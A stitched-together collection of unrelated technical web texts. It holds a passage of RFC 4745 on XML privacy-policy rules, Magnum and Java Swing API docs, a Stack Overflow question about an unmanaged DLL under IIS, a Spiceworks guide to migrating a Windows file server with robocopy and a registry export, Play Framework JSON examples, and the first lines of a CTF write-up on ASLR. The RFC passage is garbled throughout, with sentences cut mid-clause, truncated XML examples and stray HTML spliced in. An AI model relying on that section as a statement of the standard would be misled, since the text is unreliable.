6.2. Extensions
The policy framework defined in this document is meant to be extensible towards specific application domains. Such an extension is accomplished by defining conditions, actions, and transformations that are specific to the desired application domain. Each extension MUST define its own namespace.
Extensions cannot change the schema defined in this document, and this schema is not expected to change except via revision to this specification. Therefore, no versioning procedures for this schema or namespace are provided.. If a child element of the <conditions> element is in a namespace that is not known or not supported, then this child element evaluates to FALSE.
As noted in Section 5, conditions are matched on equality or "greater than" style comparisons, rather than regular expressions. Equality is determined according to the rules for the data type associated with the element in the schema given in Section 13, unless explicit comparison steps are included in this document. For xs:anyURI types, readers may wish to consult [2] for its discussion xs:anyURI, as well as the text in Section 13.
7.1. Identity Condition
7.1.1. Overview
The identity condition restricts matching of a rule either to a single entity or a group of entities. Only authenticated entities can be matched; acceptable means of authentication are defined in protocol-specific documents. If the <identity> element is absent, the <identity> element is in a namespace that is not known or not supported, then this child element evaluates to FALSE.
7.1.2. Matching One Entity
The <one> element matches the authenticated identity (as contained in the 'id' attribute) of exactly one entity or user. For considerations regarding the 'id' attribute, refer to Section 7.2.
An example is shown below:
< matching (Internationalized Domain Names), lowercase ASCII SHOULD be used. For the comparison operation between the value stored in the 'domain' attribute and the domain value provided via the using protocol (referred to as "protocol domain identifier"), the following rules are applicable:
- Translate percent-encoding for either string.
- Compare the two domain strings for ASCII equality, for each label. If the string comparison for each label indicates equality, the comparison succeeds. Otherwise, the domains are not equal.
If the conversion fails in step (2), the domains are not equal.
7.1.3.1. Matching Any Authenticated Identity
The <many/> element without any child elements or attributes matches any authenticated user.
The following example shows such Authenticated Identity Except Enumerated
Domains/Identities
The <many> element enclosing one or more <except domain="..."/> elements matches any user from any domain except those enumerated. The <except id="..."/> element excludes particular users. The semantics of the 'id' attribute of the <except> element is described in Section 7.2. The results of the child elements of the <many> element are combined using a logical OR.
An example is shown below:
<?xml version="1.0" encoding="UTF-8"?> <ruleset xmlns="urn:ietf:params:xml:ns:common-policy">
<rule id="f3g44r1"> <conditions> <sphere value="work"/> <identity> <many> <except domain="example.com"/> <except domain="example.org"/> <except id="sip:alice@bad.example.net"/> <except id="sip:bob@good.example.net"/> <except id="tel:+1-212-555-1234" /> <except id="sip:alice@example.com"/> </many> </identity> <validity> <from>2003-12-24T17:00:00+01:00</from> <until>2003-12-24T19:00:00+01:00</until> </validity> < first line.
7.1.3.3. Matching Any Authenticated Identity within a Domain Except
Enumerated Identities
The <many> element with a 'domain' attribute and zero or more <except id="..."/> elements matches any authenticated user from the indicated domain except those explicitly enumerated. The semantics of the 'id' attribute of the <except> element is described in Section 7.2.
It is nonsensical to have domains in the 'id' attribute that do not match the value of the 'domain' attribute in the enclosing <many> element.
An example is shown below:
<.com first be expressed as a URI. Applications using this framework must describe how the identities they are using can be expressed as URIs.
7.3. [10] provides the ability to inform the PS of its current sphere. The application domain needs to describe in more detail how the sphere state is determined. Switching from one sphere to another neither a registry for these values nor a language- specific indication of the sphere content. As such, the tokens are treated as opaque strings.
<>
The rule example above illustrates that the rule with the entity andrew@example.com matches if the sphere is been set to 'work'. In the second rule, the entity allison@example.com matches if the sphere is set to 'home'. The third rule also matches since the value in the sphere element also contains the token 'home'.
7.4. Validity
The <validity> element is the third condition element specified in this document. It expresses the rule validity period by two attributes, a starting and. A rule maker might not always have access to the PS to invalidate some rules that grant permissions. Hence, this mechanism allows invalidating granted permissions automatically without further interaction between the rule maker and the PS. The PS does not remove the rules; instead the rule maker has to clean them up.
An example of a rule fragment is shown below:
<?xml version="1.0" encoding="UTF-8"?> <ruleset xmlns="urn:ietf:params:xml:ns:common-policy">
<rule id="f3g44r3"> <conditions> <validity> <from>2003-08-15T10:20:00.000-05:00</from> .
8. Actions
While conditions are the 'if'-part of rules, actions and transformations form their 'then' that is returned to the WR.
Actions, on the other hand, specify all remaining types of operations the PS is obliged to execute, i.e., all operations that are not of transformation type. Actions are defined by application-specific usages of this framework. The reader is referred to the corresponding extensions to see examples of such elements.
9. Transformations
Two sub-parts follow the conditions part of a rule: transformations and actions. As defined in Section 8, transformations specify operations that the PS MUST execute and that modify the result that is returned to the WR. This functionality is particularly helpful in reducing the granularity of information provided to the WR, as, for example, required for location privacy. Transformations are defined by application-specific usages of this framework.
A simple transformation example is provided in Section 10.
10. Procedure for Combining Permissions
10.1. Introduction
This section describes how rules are selected and how actions and permissions are determined. When a PS receives a request for access to privacy-sensitive data, the request is matched against the rule set. A rule matches if all conditions contained as child elements in the <conditions> element of a rule evaluate to TRUE. Each type of condition defines when it is TRUE. All rules where the conditions match the request form the matching rule set. The permissions in the matching rule set are combined using a set of combining rules (CRs) described in Section 10.2.
10.2. Combining Rules (CRs)
Each type of permission is combined across all matching rules. Each type of action or transformation is combined separately and independently. The combining rules generate a combined permission. The combining rules depend only on the data type of permission. If a particular permission type has no value in a rule, it assumes the lowest possible value for that permission for the purpose of computing the combined permission. That value is given by the data type for booleans (FALSE) and sets (empty set), and MUST be defined by any extension to the Common Policy for other data types.
For boolean permissions, the resulting permission is TRUE if and only if at least one permission in the matching rule set has a value of TRUE and FALSE otherwise. For integer, real-valued and date-time permissions, the resulting permission is the maximum value across the permission values in the matching set of rules. For sets, it is the union of values across the permissions in the matching rule set.
10.3. Example
In the following example we illustrate the process of combining permissions. We will consider three conditions for our purpose, namely those of name identity (WR-ID), sphere, and validity (from,until). The ID column is used as a rule identifier. For editorial reasons we omit the domain part of the WR's identity.
We use two actions in our example, namely X and Y. The values of X and Y are of data types Boolean and Integer, respectively.
The transformation, referred to as Z, uses values that can be set either to '+' (or 3), 'o' (or 2) or '-' (or 1)..
The label 'NULL' in the table indicates that no value is available for a particular cell.
Conditions Actions/Transformations +---------------------------------+---------------------+ | Id WR-ID sphere from until | X Y Z | +---------------------------------+---------------------+ | 1 bob home A1 A2 | TRUE 10 o | | 2 alice work A1 A2 | FALSE 5 + | | 3 bob work A1 A2 | TRUE 3 - | | 4 tom work A1 A2 | TRUE 5 + | | 5 bob work A1 A3 | NULL 12 o | | 6 bob work B1 B2 | FALSE 10 - | +---------------------------------+---------------------+
Again for editorial reasons, we use the following abbreviations for the two <validity> attributes 'from' and 'until':
A1=2003-12-24T17:00:00+01:00 A2=2003-12-24T21:00:00+01:00 A3=2003-12-24T23:30:00+01:00 B1=2003-12-22T17:00:00+01:00 B2=2003-12-23T17:00:00+01:00
Note that B1 < B2 < A1 < A2 < A3.
The entity 'bob' acts as a WR and requests data items. The rule set consists of the six rules shown in the table and identified by the values 1 to 6 in the 'Id' column. The PS receives the query at
2003-12-24T17:15:00+01:00, which falls between A1 and A2. In our example, we assume that the sphere value of the PT is currently set to 'work'.
As a first step, it is necessary to determine which rules fire by evaluating the conditions part of each of.
Only rules 3 and 5 fire. We use the actions and transformations part of these two rules to determine the combined permission, as shown below.
Actions/Transformations +-----+-----------------------+ | Id | X Y Z | +-----+-----------------------+ | 3 | TRUE 3 - | | 5 | NULL 12 o | +-----+-----------------------+
Each column is treated independently. The combined value of X is set to TRUE since the NULL value equals FALSE according to the description in Section 10.2. For the column with the name Y, we apply the maximum of 3 and 12, so that the combined value of Y is 12. For column Z, we again compute the maximum of 'o' and '-' (i.e., 2 and 1) which is 'o' (2).
The combined permission for all three columns is therefore:
Actions/Transformations +-----------------------+ | X Y Z | +-----------------------+ | TRUE 12 o | +-----------------------+
11. Meta Policies
Meta policies authorize a rule maker could be useful. As an example of such policies, one could think of parents configuring the policies for their children.
12. Example
This section gives an example of an XML document valid with respect to the XML schema defined in Section 13. Semantically richer examples can be found in documents that>
13. XML Schema Definition
This section provides the XML schema definition for the common policy markup language described in this document.
<?xml version="1.0" encoding="UTF-8"?> <xs:schema targetNamespace="urn:ietf:params:xml:ns:common-policy"
xmlns: <!-- :schema>
14. Security Considerations
This document describes a framework for policies. This framework is intended to be enhanced elsewhere by.
15. IANA Considerations
This section registers a new XML namespace, a new XML schema, and a new MIME type. This section registers a new XML namespace per the procedures in [4].=""> RFC 4745</a>.</p> </body> </html> END
15.2. Content-type Registration for 'application/auth-policy+xml'
This specification requests the registration of a new MIME type according to the procedures of RFC 4288 [5] and guidelines in RFC 3023 [6].
MIME media type name: application 4745 and to the security considerations described in Section 10 of RFC 3023 [6] for more information.
Interoperability considerations: None Published specification: RFC 4745
Applications which use this media type:
Presence- and location-based systems
Additional information:
Magic Number: None File Extension: .ap GEOPRIV working group, with mailing list address <geopriv@ietf.org>.
Change controller:
The IESG <iesg@ietf.org>
15.3. Common Policy Schema Registration
URI: urn:ietf:params:xml:schema:common-policy Registrant Contact: IETF GEOPRIV working group, Henning Schulzrinne (hgs+geopriv@cs.columbia.edu). XML: The XML schema to be registered is contained in Section 13. Its first line is <?xml version="1.0" encoding="UTF-8"?>
and its last line is
</xs:schema>
16. References
16.1. Normative References
[1] Bradner, S., "Key words for use in RFCs to Indicate Requirement Levels", BCP 14, RFC 2119, March 1997. [2] Duerst, M. and M. Suignard, "Internationalized Resource Identifiers (IRIs)", RFC 3987, January 2005. [3] Faltstrom, P., Hoffman, P., and A. Costello, "Internationalizing Domain Names in Applications (IDNA)", RFC 3490, March 2003. ", Work in Progress, June 2006. [8] Schulzrinne, H., Tschofenig, H., Morris, J., Cuellar, J., and J. Polk, "A Document Format for Expressing Privacy Preferences for Location Information", Work in Progress, February 2006. [9] Cuellar, J., Morris, J., Mulligan, D., Peterson, J., and J. Polk, "Geopriv Requirements", RFC 3693, February 2004. [10] Schulzrinne, H., Gurbani, V., Kyzivat, P., and J. Rosenberg, "RPID: Rich Presence Extensions to the Presence Information Data Format (PIDF)", RFC 4480, July 2006.
Appendix A. Contributors
We would like to thank Christian Guenther for his help with initial versions of this document., Josip Matanovic, and Mark Baker for their comments. Martin Thomson helped us with the XML schema. Mark Baker provided a review of the media type. Scott Brim provided a review on behalf of the General Area Review Team. Networks GmbH & Co KG Otto-Hahn-Ring 6 Munich, Bavaria 81739 Germany EMail: Hannes.Tschofenig@siemens.com URI: John B. Morris, Jr. Center for Democracy and Technology 1634 I Street NW, Suite 1100 Washington, DC 20006 USA EMail: jmorris@cdt.org
-
jmpolk@cisco.com Jonathan Rosenberg Cisco Systems 600 Lanidex Plaza Parsippany, New York 07054 USA EMail: jdrosen@cisco.
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class
#include <Magnum/Platform/Sdl2Application.h>
TextInputEvent
Text input event.
Contents
Constructors, destructors, conversion operators
- TextInputEvent(const TextInputEvent&) deleted
- Copying is not allowed.
- TextInputEvent(TextInputEvent&&) deleted
- Moving is not allowed.
Public functions
- auto operator=(const TextInputEvent&) -> TextInputEvent& deleted
- Copying is not allowed.
- auto operator=(TextInputEvent&&) -> TextInputEvent& deleted
- Moving is not allowed.
- auto isAccepted() const -> bool
- Whether the event is accepted.
- void setAccepted(bool accepted = true)
- Set event as accepted.
- auto text() const -> Containers::
ArrayView<const char>
- Input text in UTF-8.
- auto event() const -> const SDL_Event&
- Underlying SDL event.
Function documentation
void Magnum::
Platform:: Sdl2Application:: Text.
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My ASP.NET MVC App uses an unmanaged external DLL written in C++.
This website runs fine from within Visual Studio, locating and accessing the external DLLs correctly. However, when the website is published on a local webserver (running IIS 7.5) rather than the Visual studio IIS Express I get the following error:
HTTP Error 503. The service is unavailable.
The external DLL is located in the bin directory of the website.On having a look at the IIS logs I noticed the defaultapppool stops everytime I call the dll.
HTTP/1.1 GET /Bio/Select/3 503 1 Disabled DefaultAppPool
I have tried the following:
Below is a code snippet of how I call the dll
[HttpGet] public ActionResult Select(int ID) { int res = BSSDK.BS_InitSDK(); if (res != BSSDK.BS_SUCCESS) { ModelState.AddModelError("Error", "SDK failed to initialise"); } return View() } public class BSSDK { [DllImport("BS_SDK.dll", CharSet = CharSet.Ansi, EntryPoint = "BS_InitSDK")] public static extern int BS_InitSDK(); }
My view
@model IEnumerable<BasicSuprema.Models.BioUser> @using GridMvc.Html @{ ViewBag.<h3>@ViewBag.Title</h3></div> @Html.ValidationMessage("Error") <div class="grid-wrap"> @Html.Grid(Model).Named("UsersGrid").Columns(columns => { columns.Add(c => c.BioUserID).Titled("ID"); columns.Add(c => c.UserName).Titled("User"); }).WithPaging(10).Sortable(true) </div>
Similar questions include Unmanaged DLLs fail to load on ASP.NET server How to call unmanaged code in ASP.NET website and host it in IIS
Unable to call the DLL from ASP.NET
When I hosted it on web server running IIS 8 I get the below error.So maybe on my local IIS server it returns error 503 coz it can't find the dll but am yet to determine this as for the hosted one I dont have access to copy the dll to the system folders.
Unable to load DLL 'BS_SDK.dll': The specified module could not be found. (Exception from HRESULT: 0x8007007E)
In order to find out where your application searches for your dll, I recommend Microsoft FusionLog. It will not only log where the CLR searches for dlls, it will also log more details on why loading failed.
Additionally, it might be helpful to see if the process actually opens a file handle for the dll. You can find out via Process Explorer: * Download ProcessExplorer and run it as administrator. * Add a filter for 'Process Name' and use 'w3wp.exe' * Start up your application pool * Search process explorer for 'BS_SDK.dll' and you will see from which directory it tried to load it.
I uninstalled and installed IIS afresh then repeated all the stated steps in the question and it finally worked.
User contributions licensed under CC BY-SA 3.0
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https://windows-hexerror.linestarve.com/q/so29248692-Unmanaged-DLL-in-ASPNET-MVC-app-causes-App-pool-to-stop-on-IIS-server
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Module java.desktop
Package javax.swing
Class ProgressMonitor
- java.lang.Object
- javax.swing.ProgressMonitor
- All Implemented Interfaces:
Accessible
public class ProgressMonitor extends Object implements AccessibleA.
- Since:
- 1.2
- See Also:
ProgressMonitorInputStream
Field Detail
accessibleContext
protected AccessibleContext accessibleContextThe
AccessibleContextfor the
ProgressMonitor
- Since:
- 1.5
Constructor Detail
ProgressMonitor
public ProgressMonitor(Component parentComponent, Object message, String note, int min, int max)Constructs a graphic object that shows progress, typically by filling in a rectangular bar as the process nears completion.
- Parameters:
- See Also:
JDialog,
JOptionPane
Method Detail
setProgress
public void setProgress(int nv)Indicate the progress of the operation being monitored. If the specified value is >= the maximum, the progress monitor is closed.
- Parameters:
nv- an int specifying the current value, between the maximum and minimum specified for this component
- See Also:
setMinimum(int),
setMaximum(int),
public void close()Indicate that the operation is complete. This happens automatically when the value set by setProgress is >= max, but it may be called earlier if the operation ends early.
getMinimum
public int getMinimum()Returns the minimum value -- the lower end of the progress value.
- Returns:
- an int representing the minimum value
- See Also:
setMinimum(int)
setMinimum
public void setMinimum(int m)Specifies the minimum value.
- Parameters:
m- an int specifying the minimum value
- See Also:
getMinimum()
getMaximum
public int getMaximum()Returns the maximum value -- the higher end of the progress value.
- Returns:
- an int representing the maximum value
- See Also:
setMaximum(int)
setMaximum
public void setMaximum(int m)Specifies the maximum value.
- Parameters:
m- an int specifying the maximum value
- See Also:
getMaximum()
isCanceled
public boolean isCanceled()Returns true if the user hits the Cancel button or closes the progress dialog.
- Returns:
- true if the user hits the Cancel button or closes the progress dialog
setMillisToDecideToPopup
public void setMillisToDecideToPopup(int millisToDecideToPopup)Specifies the amount of time to wait before deciding whether or not to popup a progress monitor.
- Parameters:
millisToDecideToPopup- an int specifying the time to wait, in milliseconds
- See Also:
getMillisToDecideToPopup()
getMillisToDecideToPopup
public int getMillisToDecideToPopup()Returns the amount of time this object waits before deciding whether or not to popup a progress monitor.
- Returns:
- the amount of time in milliseconds this object waits before deciding whether or not to popup a progress monitor
- See Also:
setMillisToDecideToPopup(int)
setMillisToPopup
public void setMillisToPopup(int millisToPopup)Specifies the amount of time it will take for the popup to appear. (If the predicted time remaining is less than this time, the popup won't be displayed.)
- Parameters:
millisToPopup- an int specifying the time in milliseconds
- See Also:
getMillisToPopup()
getMillisToPopup
public int getMillisToPopup()Returns the amount of time it will take for the popup to appear.
- Returns:
- the amont of time in milliseconds it will take for the popup to appear
- See Also:
setMillisToPopup(int)
setNote
public void setNote(String note)Specifies the additional note that is displayed along with the progress message. Used, for example, to show which file the is currently being copied during a multiple-file copy.
getNote
public String getNote()Specifies the additional note that is displayed along with the progress message.
- Returns:
- a String specifying the note to display
- See Also:
setNote(java.lang.String)
getAccessibleContext
public AccessibleContext getAccessibleContext()Gets the
AccessibleContextfor the
ProgressMonitor
- Specified by:
getAccessibleContextin interface
Accessible
- Returns:
- the
AccessibleContextfor the
ProgressMonitor
- Since:
- 1.5
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https://docs.oracle.com/javase/9/docs/api/javax/swing/ProgressMonitor.html
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Almost every how-to I’ve found that talks about replacing a server is focused on Domain Controllers or Small Business Servers. What about replacing a File-Share Server that is just a File-Share Server? There are many pitfalls and gotchas waiting for those who think it is just a matter of copying files to a new server and renaming it. First of all, “Shares” can be copied, true . . . but they will no longer be shared. Then, you’ve got all of the AD, DNS, and Arp-Table issues associated with a messy replacement, etc, etc, etc. So . . . here is the simplest and easiest way to do it without suffering the pain of being unprepared.
Make note of the Drive Letter assignments of the Volumes containing any and all Shares. Make note of the size of the volumes.
The process I’m sharing here will work while moving from or to any Server OS from 2003 or newer. (2012 R2 is current as I write this) It may work with Windows 2000 as well, but I have not tried it. Name the server with a different name from the original for now so that they can co-exist temporarily on the Domain. Duplicate the Volume and Drive Letter assignments (VERY IMPORTANT FOR THE INITIAL REPLACEMENT (you can always change them on NEWserver after this replacement process is done)). Re-create all permissions at the Root of each Drive on NEWserver to match those on OLDserver. ENSURE THAT YOU KNOW THE PASSWORD FOR THE LOCAL ADMINISTRATOR ACCOUNT! (just in case you have any Domain-related issues later)
Update NEWserver with all the latest patches and updates, and load any software you will need to have on it. DO NOT accidentally or on purpose create any folders matching the folder name of any of your Shares on OLDserver on the same Drive Letter.
Use the method you normally use for a full backup, just to be safe.
Navigate to the following Registry Key:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\LanmanServer\Shares
Export this entire “Shares” key to a safe location. (I usually name it “Key to Import”) Copy this exported key to NEWserver for use later in this process.
Export this entire “Shares” key to a safe location. (I usually name it “Key for Recovery”) This is a backup in case we need to replace the original key for some reason.
Depending on the amount of data to copy, it is BEST to make an initial copy starting 2 or 3 days PRIOR to the day you want to actually cut over, because it will probably take quite a while.
If possible, I like to use an extra NIC on both systems, set up a non-LAN subnet between them, and use a cross-over CAT-5E or CAT-6 cable to make the transfers. This will keep the copy traffic off of your LAN and could speed it up substantially.
To make your initial “pre-copy” of the Folders and Files, use ROBOCOPY running from the new server. This will allow you to maintain all NTFS permissions and ACL information for every Folder and File, even though the “Share” information will be lost at this time. It will also allow you to mirror the existing folder structure.
If the IP Address of NEWserver (on the secondary NIC) is 10.10.10.2, the IP Address of OLDserver (on the secondary NIC) is 10.10.10.1, you intend to copy the entire D: Drive, you want an output Log File, and you don’t want to copy the system & volume-related folders and files at the drive root, then the Robocopy command will look something like this:
robocopy \\10.10.10.1\D$ \\10.10.10.2\D$ /COPYALL /E /LOG:C:\copylog1.txt /XD “RECYCLER” “Recycled” “System Volume Information” /XF “desktop.ini” /NP /TEE
Run this command for each Drive volume you wish to copy. At a Command Prompt, type “robocopy /?” for syntax and a list of robocopy options.
Once your copies are done, when you are ready for the actual cut-over, you will need to quiesce all file activity to and from OLDserver while the following steps take place. If not, any folder and file changes to OLDserver from the next step on will not exist on NEWserver. PLAN ON AT LEAST A FEW HOURS FOR THE ACTUAL CUT-OVER. Here is why:
We are going to copy the data again, one last time, capturing any changes, adds, or deletes since we began our first copy. This copy will not take nearly as long as the first one, because it skips the copying of anything that has not changed. Your new Robocopy command will look something like this:
robocopy \\10.10.10.1\D$ \\10.10.10.2\D$ /COPYALL /E /LOG:C:\copylog2.txt /XD “RECYCLER” “Recycled” “System Volume Information” /XF “desktop.ini” /NP /TEE /PURGE
Again, run this command for each Drive volume you wish to copy.
Once these copies are complete, you are ready to begin the actual cut-over. If you are replacing an existing server with a new server that will have the same computer name and same IP address as the original, there are some simple measures you can take at this time to simplify your life:
A. Change the IP Address of OLDserver
B. Change the Computer Name of OLDserver and re-boot. (Do NOT remove from Domain first)
C. After reboot, open Command Prompt and type “ipconfig /registerdns
D. Change the IP Address of NEWserver to original IP Address of OLDserver
E. Change the Computer Name of NEWserver to original name of OLDserver and re-boot (Do NOT remove from Domain first)
F. After reboot, open Command Prompt and type “ipconfig /registerdns
It is time for the LAN to say goodbye to OLDserver. Simply un-plug it from the network for now (it has to come off of the LAN at this time because you cannot have multiple copies of shares with the same names on the network). Leave the secondary NIC direct-connected to NEWserver so that you can still access OLDserver if necessary via that connection from NEWserver.
Navigate to where you stored the “Key to Import” file on NEWserver. Right-Click on that file and select the “Merge” option. This will add the contents of this key to your existing Shares key in the registry.
When it comes back up . . . VOILA! Your Shares are back!
Verify proper operation and user access of the Shares and if, as I suspect, all is well, you are ready to put it back into production!
You can keep OLDserver connected to NEWserver “outside the LAN” for as long as needed, eventually shutting it down and removing from the Domain manually. Optional alternatives to doing it manually:
A. Between steps 11-C and 11-D, if you are certain you will not need it any more, you can gracefully remove it from the Domain with an extra re-boot, and then shut it down.
B. After you’re done with it, you can delete ALL entries in the Registry “Shares” key we exported earlier, re-boot the machine, connect it back to the LAN, and remove it gracefully from the Domain.
Good Luck!!!
Byron
its a very nice informative post. Thanks mate for taking the time to write it.
Probably works, although would be better to use DFS namespace for large file shares so the name of the server don't matter.
Then you could just pre-seed the files, add new server to namespace, copy remaining files, remove the old server from the namespace.
Or, You could use the Alias Feature of Lanman and just point a CNAME for the old server name at the new server rather than renaming your new server.
I second the DFS comment, except for the fact that offline files referenced via DFS break if the actual server name isn't accessible.
And for the file and share transfer, why not use the File Server Migration Toolkit instead? It takes care of the majority of the legwork for you.
Hey, guys! Thank you for the comments - all valid.
DFS is nice - agreed, but not everyone uses it and it does have its own quirks.
FSMT is OK, but does not work well for transferring Shares within Shares, which, unfortunately, I've run into many more times than one might guess.
The reason I chose to post this is as follows:
I have frequently run across situations where an Old File Share Server simply needs to be replaced, but there are a lot of home-grown, automated file-manipulation processes running against the shares that reference the server by name or by IP, and the user simply does not want to, or have time to, re-write all of that code just to replace the server. This process is for those guys. It works great, even for shares within shares, and the end result is that nothing else in the environment needs to change.
Best of success to all of you!
Byron
Apart from everythimg else, I particularly like the registry piece!
Great article. In the very near future I will be retiring my old Win2003 with a Wind2012 R2 server. I plan on using this as a guide. The only difference is that both servers are virtualized. The 2003 server has 2 VHDs; one for the OS and the other for the data (2TB). The new 2012 R2 will sit on the same HyperV host (2012 R2 Data Center). I plan on simply shutting the 2003 server down, and point the Data VHD from that to the new 2012 R2 Standard server. Otherwise, I plan on following Byron's steps (no need for RoboCopy, of course). The part on exporting the registry will be particularity helpful. Thanks
Hey Byron Like the article.
I use Robocopy all the time. Here are some recommendations.
Run robocopy from the new server and leave it running. This will keep your copies up to date and your last copy would be quicker and only need to copy the "open" files that were not copyable until you got everyone out of the server and stopped the Databases (SQL, etc)
Use these options
/R: - option to retry - /R:5 would skip an open file after 5 retries, if you don't do this option the default is 1 million retries. (Yes 1,000,000 times before moving to next file)
/MIR - option to mirror directory - copies empty folders and purges folders from destination that are no-longer on source (replaces /PURGE)
/MOT: - option to monitor and copy on change - /MOT:15 would monitor the source and every 15 min, if there were changes, it would rerun robocopy.
Here is an example of what I use. ( the %date information puts current date and time in my log file name) (ddrive is the name of the share I gave the D drive)
Robocopy \\server1\ddrive D:\Shares /R:5 /ZB /MIR /NP /MOT:15 /LOG:"d:\LogFileName%date:~4,2%%date:~7,2%%date:~10,4%_%time:~0,2%%time:~3,2%%time:~6,2%.txt" /TEE
All great information, I can use this all in the future; thanks
Thanks for this write up.! Back in March I was given the task of migrating our fileserver on Server 2003 to 2012 and of course it was to be completed before EOL for 2003. After a few weeks of trying to figure out servers I came across this article. A couple weeks ago I finally gave these instructions a try and this morning I successfully made the cutover before opening hrs!
Great article. I completed a similar process way back when I replaced our last file server. I'm in the process of moving to a new server but have a slight change as all our files now reside on a SAN. I imagine all steps would be the same minus the need to copy any of the shares over... Since I'll just be unplugging the fiber from the old and into the new. Is that a safe assumption? I'm going to keep the server name and IP the same... Any feedback would be greatly appreciated. Thanks in advance.
I was doing a search in Google and saw this on Spiceworks. Why can't I just learn to search Spiceworks first?
Big thanks as this is just what I was looking for!!!
zoranstojanovi,
If the shares are shared by the server you are replacing, you WILL need to copy the shares registry setting, even though the shares are on a SAN. Once you reconnect the SAN to the new server via iSCSI or FiberChannel, all you will see is folders until you import the shares registry key. If the shares are shared by another server or by the SAN itself using CIFS, for instance, then it won't matter. Also remember, if you are using the same computer name and IP, you will need to either reset your ARP tables on all switches, or just wait for a while before everything works correctly, unless you follow my instructions concerning the dns registration processes.
Not sure if this would be best in a new post but, I'm trying this method for migrating a basic file server asap. I'm trying to use Robocopy but can't seem to get the NTFS and ACL settings to transfer to the new directory. Maybe I'm not understanding how robocopy works. I don't want to copy the entire volume (d: for example) because there are many folders in there I don't want to move. As a test, I'm trying this:
robocopy \\oldserver\installs d:\shared\installs /R:5 /ZB /MIR /NP /MOT:15
My hope is that it would copy the installs folder with all ntfs and acl settings. However when I look at the folder on the new server, it has default permissions. Does robocopy only work for copying these settings if you are copying the level above the folder / share you are wanting to include? In other words, do I have to start at the volume level in order to get the permissions to copy for the installs folder?
Add the following option switch to your robocopy command: /COPYALL
This will copy everything about the file, including NTFS ACLs, Owner, etc.
Great, that worked! So I can use /COPYALL with the rest of my switches. My goal is to put this in a batch file that will mirror and then monitor several shares on the day before the cut over and just leave it running. Will that work?
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https://community.spiceworks.com/how_to/75097-replace-an-old-file-server-with-a-new-file-server-using-the-same-ip-same-name-same-shares
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§JSON with HTTP
Play supports HTTP requests and responses with a content type of JSON by using the HTTP API in combination with the JSON library.
See HTTP Programming for details on Controllers, Actions, and routing.
We’ll demonstrate the necessary concepts by designing a simple RESTful web service to GET a list of entities and accept POSTs to create new entities. The service will use a content type of JSON for all data.
Here’s the model we’ll use for our service:
case class Location(lat: Double, long: Double) case class Place(name: String, location: Location) object Place { var list: List[Place] = { List( Place( "Sandleford", Location(51.377797, -1.318965) ), Place( "Watership Down", Location(51.235685, -1.309197) ) ) } def save(place: Place) = { list = list ::: List(place) } }
§Serving a list of entities in JSON
We’ll start by adding the necessary imports to our controller.
import play.api.mvc._ import play.api.libs.json._ import play.api.libs.functional.syntax._ object Application extends Controller { }
Before we write our
Action, we’ll need the plumbing for doing conversion from our model to a
JsValue representation. This is accomplished by defining an implicit
Writes[Place].
implicit val locationWrites: Writes[Location] = ( (JsPath \ "lat").write[Double] and (JsPath \ "long").write[Double] )(unlift(Location.unapply)) implicit val placeWrites: Writes[Place] = ( (JsPath \ "name").write[String] and (JsPath \ "location").write[Location] )(unlift(Place.unapply))
Next we write our
Action:
def listPlaces = Action { val json = Json.toJson(Place.list) Ok(json) }
The
Action retrieves a list of
Place objects, converts them to a
JsValue using
Json.toJson with our implicit
Writes[Place], and returns this as the body of the result. Play will recognize the result as JSON and set the appropriate
Content-Type header and body value for the response.
The last step is to add a route for our
Action in
conf/routes:
GET /places controllers.Application.listPlaces
We can test the action by making a request with a browser or HTTP tool. This example uses the unix command line tool cURL.
curl --include
Response:
HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Content-Length: 141 [{"name":"Sandleford","location":{"lat":51.377797,"long":-1.318965}},{"name":"Watership Down","location":{"lat":51.235685,"long":-1.309197}}]
§Creating a new entity instance in JSON
For this
Action we’ll need to define an implicit
Reads[Place] to convert a
JsValue to our model.
implicit val locationReads: Reads[Location] = ( (JsPath \ "lat").read[Double] and (JsPath \ "long").read[Double] )(Location.apply _) implicit val placeReads: Reads[Place] = ( (JsPath \ "name").read[String] and (JsPath \ "location").read[Location] )(Place.apply _)
Next we’ll define the
Action.
def savePlace = Action(BodyParsers.parse.json) { request => val placeResult = request.body.validate[Place] placeResult.fold( errors => { BadRequest(Json.obj("status" ->"KO", "message" -> JsError.toFlatJson(errors))) }, place => { Place.save(place) Ok(Json.obj("status" ->"OK", "message" -> ("Place '"+place.name+"' saved.") )) } ) }
This
Action is more complicated than our list case. Some things to note:
- This
Actionexpects a request with a
Content-Typeheader of
text/jsonor
application/jsonand a body containing a JSON representation of the entity to create.
- It uses a JSON specific
BodyParserwhich will parse the request and provide
request.bodyas a
JsValue.
- We used the
validatemethod for conversion which will rely on our implicit
Reads[Place].
- To process the validation result, we used a
foldwith error and success flows. This pattern may be familiar as it is also used for form submission.
- The
Actionalso sends JSON responses.
Finally we’ll add a route binding in
conf/routes:
POST /places controllers.Application.savePlace
We’ll test this action with valid and invalid requests to verify our success and error flows.
Testing the action with a valid data:
curl --include --request POST --header "Content-type: application/json" --data '{"name":"Nuthanger Farm","location":{"lat" : 51.244031,"long" : -1.263224}}'
Response:
HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Content-Length: 57 {"status":"OK","message":"Place 'Nuthanger Farm' saved."}
Testing the action with a invalid data, missing “name” field:
curl --include --request POST --header "Content-type: application/json" --data '{"location":{"lat" : 51.244031,"long" : -1.263224}}'
Response:
HTTP/1.1 400 Bad Request Content-Type: application/json; charset=utf-8 Content-Length: 79 {"status":"KO","message":{"obj.name":[{"msg":"error.path.missing","args":[]}]}}
Testing the action with a invalid data, wrong data type for “lat”:
curl --include --request POST --header "Content-type: application/json" --data '{"name":"Nuthanger Farm","location":{"lat" : "xxx","long" : -1.263224}}'
Response:
HTTP/1.1 400 Bad Request Content-Type: application/json; charset=utf-8 Content-Length: 92 {"status":"KO","message":{"obj.location.lat":[{"msg":"error.expected.jsnumber","args":[]}]}}
§Summary
Play is designed to support REST with JSON and developing these services should hopefully be straightforward. The bulk of the work is in writing
Reads and
Writes for your model, which is covered in detail in the next section.
Next: JSON Reads/Writes/Format Combinators
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https://www.playframework.com/documentation/ja/2.4.4/ScalaJsonHttp
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**Disclaimer: If memory serves me right, when this challenge was live in 2013, ASLR was not on full randomization mode. It was later, several months after the competition finished, that ASLR was set to "2" (full randomization). This made the challenge more difficult to solve and in this article I will discuss how to solve it even with "2" ASLR. For solutions on how to solve it given slightly more conservative ASLR settings ( as was the case in the actual competition) several write-ups are available online. **
Analyzing the source code
